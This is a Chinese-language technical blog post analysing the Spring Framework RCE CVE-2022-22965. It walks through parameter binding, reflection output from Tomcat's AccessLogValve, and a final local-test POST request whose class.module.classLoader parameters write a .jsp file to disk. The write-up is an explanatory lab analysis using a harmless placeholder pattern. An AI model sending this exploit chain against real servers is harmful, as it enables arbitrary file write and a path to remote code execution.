Spring rce CVE-2022-22965
作者：互联网
原理大致是这样：spring框架在传参的时候会与当前POJO类自动参数绑定，通过“.”还可以访问当前类的引用类型变量。使用getClass方法，通过反射机制最终获取tomcat的日志配置成员属性，通过set方法，修改目录、内容等属性成员，达到任意文件写入的目的。
环境：
jdk9、springmvc、tomcat8
一、先来介绍下传参的问题：
定义2个实体类
public class User {
private String username;
private String password;
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public SubTest getSub(){
return new SubTest();
}
}
public class SubTest {
public void setsubfunction(String s){
System.out.println("=====");
System.out.println(s);
System.out.println("=====");
}
}
定义一个Controller类
@RestController
public class HelloController {
@RequestMapping("/rce")
@ResponseBody
public String helloTest(User user) throws IOException {
System.out.println(user.getPassword());
System.out.println(user.getUsername());
return "hello spring : ";
}
}
不管是GET还是POST，只要是Controller接受的方式都可以传参赋值。
利用POST方式，传参
POST /rce HTTP/1.1 Host: 127.0.0.1:8083 Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=39A8228CB652B1A3CA4E1B49C87C40AF Connection: close Content-Length: 15 username=vpanda
这里username=vpanda的传参，调用了User的setUsername方法。
POST /rce HTTP/1.1 Host: 127.0.0.1:8083 Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=39A8228CB652B1A3CA4E1B49C87C40AF Connection: close Content-Length: 25 sub.subfunction=aaaaatest
这里sub.subfunction=aaaaatest，实际调用User的getSub方法，获得SubTest对象后实现setsubfunction方法，传参aaaaatest，最终实现SubTest类型的setsubfunction。
输出
===== aaaaatest =====
二、接下去直接看POC的利用链：
class.module.classLoader.resources.context.parent.pipeline.first.pattern=abc class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=D:\ class.module.classLoader.resources.context.parent.pipeline.first.prefix=rcetest class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
在这里的实现逻辑是当前user对象getclass获得了类对象，Class类中存在getModule，获得module类对象，而Module类又存在getclassloader方法，最终返回一个类加载器。
调试输出当前类加载器名称
System.out.println("===classloader===");
System.out.println(classLoader);
System.out.println("===classloadername===");
System.out.println(classLoader.getClass().getName());
System.out.println("========");
===classloader=== ParallelWebappClassLoader context: ROOT delegate: false ----------> Parent Classloader: java.net.URLClassLoader@1b7cc17c ===classloadername=== org.apache.catalina.loader.ParallelWebappClassLoader ========
通过输出结果可以看到当前对象的类加载器是org.apache.catalina.loader.ParallelWebappClassLoader，
ParallelWebappClassLoader继承WebappClassLoaderBase，WebappClassLoaderBase实现了getResources是WebResourceRoot接口类型，
WebResourceRoot接口存在getContext方法，Context接口类型，继承Container，Container实现parent和getPipeline，Pipeline接口实现getfirst，
最终得到Valve类型，通过类对象遍历所有成员。
Valve first = parallelWebappClassLoader.getResources().getContext().getParent().getPipeline().getFirst();
Class<? extends Valve> aClass = first.getClass();
System.out.println("====DeclaredFields=====");
Field[] fields = aClass.getDeclaredFields();
for (Field field : fields) {
System.out.println(field);
}
System.out.println("====Methods=====");
Method[] methods = aClass.getMethods();
for (Method method : methods) {
System.out.println(method);
}
输出结果，可以看到利用链中几个关键成员的set方法。
====DeclaredFields===== private static final org.apache.juli.logging.Log org.apache.catalina.valves.AccessLogValve.log private volatile java.lang.String org.apache.catalina.valves.AccessLogValve.dateStamp private java.lang.String org.apache.catalina.valves.AccessLogValve.directory protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.prefix protected boolean org.apache.catalina.valves.AccessLogValve.rotatable protected boolean org.apache.catalina.valves.AccessLogValve.renameOnRotate private boolean org.apache.catalina.valves.AccessLogValve.buffered protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.suffix protected java.io.PrintWriter org.apache.catalina.valves.AccessLogValve.writer protected java.text.SimpleDateFormat org.apache.catalina.valves.AccessLogValve.fileDateFormatter protected java.io.File org.apache.catalina.valves.AccessLogValve.currentLogFile private volatile long org.apache.catalina.valves.AccessLogValve.rotationLastChecked private boolean org.apache.catalina.valves.AccessLogValve.checkExists protected java.lang.String org.apache.catalina.valves.AccessLogValve.fileDateFormat protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.encoding private int org.apache.catalina.valves.AccessLogValve.maxDays private volatile boolean org.apache.catalina.valves.AccessLogValve.checkForOldLogs ====Methods===== public void org.apache.catalina.valves.AccessLogValve.log(java.io.CharArrayWriter) public synchronized boolean org.apache.catalina.valves.AccessLogValve.rotate(java.lang.String) public void org.apache.catalina.valves.AccessLogValve.rotate() public java.lang.String org.apache.catalina.valves.AccessLogValve.getEncoding() public void org.apache.catalina.valves.AccessLogValve.setEncoding(java.lang.String) public void org.apache.catalina.valves.AccessLogValve.setRotatable(boolean) public boolean org.apache.catalina.valves.AccessLogValve.isRenameOnRotate() public java.lang.String org.apache.catalina.valves.AccessLogValve.getDirectory() public void org.apache.catalina.valves.AccessLogValve.setCheckExists(boolean) public void org.apache.catalina.valves.AccessLogValve.setDirectory(java.lang.String) public boolean org.apache.catalina.valves.AccessLogValve.isRotatable() public int org.apache.catalina.valves.AccessLogValve.getMaxDays() public void org.apache.catalina.valves.AccessLogValve.setMaxDays(int) public boolean org.apache.catalina.valves.AccessLogValve.isCheckExists() public java.lang.String org.apache.catalina.valves.AccessLogValve.getFileDateFormat() public java.lang.String org.apache.catalina.valves.AccessLogValve.getSuffix() public void org.apache.catalina.valves.AccessLogValve.setRenameOnRotate(boolean) public void org.apache.catalina.valves.AccessLogValve.setBuffered(boolean) public boolean org.apache.catalina.valves.AccessLogValve.isBuffered() public void org.apache.catalina.valves.AccessLogValve.setFileDateFormat(java.lang.String) public void org.apache.catalina.valves.AccessLogValve.setSuffix(java.lang.String) public synchronized void org.apache.catalina.valves.AccessLogValve.backgroundProcess() public java.lang.String org.apache.catalina.valves.AccessLogValve.getPrefix() public void org.apache.catalina.valves.AccessLogValve.setPrefix(java.lang.String) public void org.apache.catalina.valves.AbstractAccessLogValve.invoke(org.apache.catalina.connector.Request,org.apache.catalina.connector.Response) throws java.io.IOException,javax.servlet.ServletException public void org.apache.catalina.valves.AbstractAccessLogValve.log(org.apache.catalina.connector.Request,org.apache.catalina.connector.Response,long) public int org.apache.catalina.valves.AbstractAccessLogValve.getMaxLogMessageBufferSize() public void org.apache.catalina.valves.AbstractAccessLogValve.setMaxLogMessageBufferSize(int) public void org.apache.catalina.valves.AbstractAccessLogValve.setLocale(java.lang.String) public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getLocale() public boolean org.apache.catalina.valves.AbstractAccessLogValve.getEnabled() public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getCondition() public void org.apache.catalina.valves.AbstractAccessLogValve.setCondition(java.lang.String) public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getPattern() public void org.apache.catalina.valves.AbstractAccessLogValve.setConditionUnless(java.lang.String) public void org.apache.catalina.valves.AbstractAccessLogValve.setIpv6Canonical(boolean) public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getConditionUnless() public void org.apache.catalina.valves.AbstractAccessLogValve.setPattern(java.lang.String) public boolean org.apache.catalina.valves.AbstractAccessLogValve.getIpv6Canonical() public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getConditionIf() public void org.apache.catalina.valves.AbstractAccessLogValve.setConditionIf(java.lang.String) public void org.apache.catalina.valves.AbstractAccessLogValve.setRequestAttributesEnabled(boolean) public boolean org.apache.catalina.valves.AbstractAccessLogValve.getRequestAttributesEnabled() public void org.apache.catalina.valves.AbstractAccessLogValve.setEnabled(boolean) public java.lang.String org.apache.catalina.valves.ValveBase.toString() public org.apache.catalina.Valve org.apache.catalina.valves.ValveBase.getNext() public void org.apache.catalina.valves.ValveBase.setNext(org.apache.catalina.Valve) public java.lang.String org.apache.catalina.valves.ValveBase.getObjectNameKeyProperties() public void org.apache.catalina.valves.ValveBase.setContainer(org.apache.catalina.Container) public java.lang.String org.apache.catalina.valves.ValveBase.getDomainInternal() public org.apache.catalina.Container org.apache.catalina.valves.ValveBase.getContainer() public boolean org.apache.catalina.valves.ValveBase.isAsyncSupported() public void org.apache.catalina.valves.ValveBase.setAsyncSupported(boolean) public final javax.management.ObjectName org.apache.catalina.util.LifecycleMBeanBase.getObjectName() public final java.lang.String org.apache.catalina.util.LifecycleMBeanBase.getDomain() public final javax.management.ObjectName org.apache.catalina.util.LifecycleMBeanBase.preRegister(javax.management.MBeanServer,javax.management.ObjectName) throws java.lang.Exception public final void org.apache.catalina.util.LifecycleMBeanBase.postRegister(java.lang.Boolean) public final void org.apache.catalina.util.LifecycleMBeanBase.preDeregister() throws java.lang.Exception public final void org.apache.catalina.util.LifecycleMBeanBase.postDeregister() public final void org.apache.catalina.util.LifecycleMBeanBase.setDomain(java.lang.String) public final synchronized void org.apache.catalina.util.LifecycleBase.init() throws org.apache.catalina.LifecycleException public final synchronized void org.apache.catalina.util.LifecycleBase.start() throws org.apache.catalina.LifecycleException public final synchronized void org.apache.catalina.util.LifecycleBase.stop() throws org.apache.catalina.LifecycleException public final synchronized void org.apache.catalina.util.LifecycleBase.destroy() throws org.apache.catalina.LifecycleException public org.apache.catalina.LifecycleState org.apache.catalina.util.LifecycleBase.getState() public java.lang.String org.apache.catalina.util.LifecycleBase.getStateName() public void org.apache.catalina.util.LifecycleBase.addLifecycleListener(org.apache.catalina.LifecycleListener) public void org.apache.catalina.util.LifecycleBase.removeLifecycleListener(org.apache.catalina.LifecycleListener) public org.apache.catalina.LifecycleListener[] org.apache.catalina.util.LifecycleBase.findLifecycleListeners() public boolean org.apache.catalina.util.LifecycleBase.getThrowOnFailure() public void org.apache.catalina.util.LifecycleBase.setThrowOnFailure(boolean) public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final void java.lang.Object.wait() throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll()
在本地测试实现任意文件写入
POST /rce HTTP/1.1 Host: 127.0.0.1:8083 Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=39A8228CB652B1A3CA4E1B49C87C40AF Connection: close Content-Length: 393 class.module.classLoader.resources.context.parent.pipeline.first.pattern=abc&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=D:\&class.module.classLoader.resources.context.parent.pipeline.first.prefix=rcetest&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
标签：catalina,java,Spring,22965,apache,org,CVE,public,valves 来源： https://www.cnblogs.com/vpandaxjl/p/16111441.html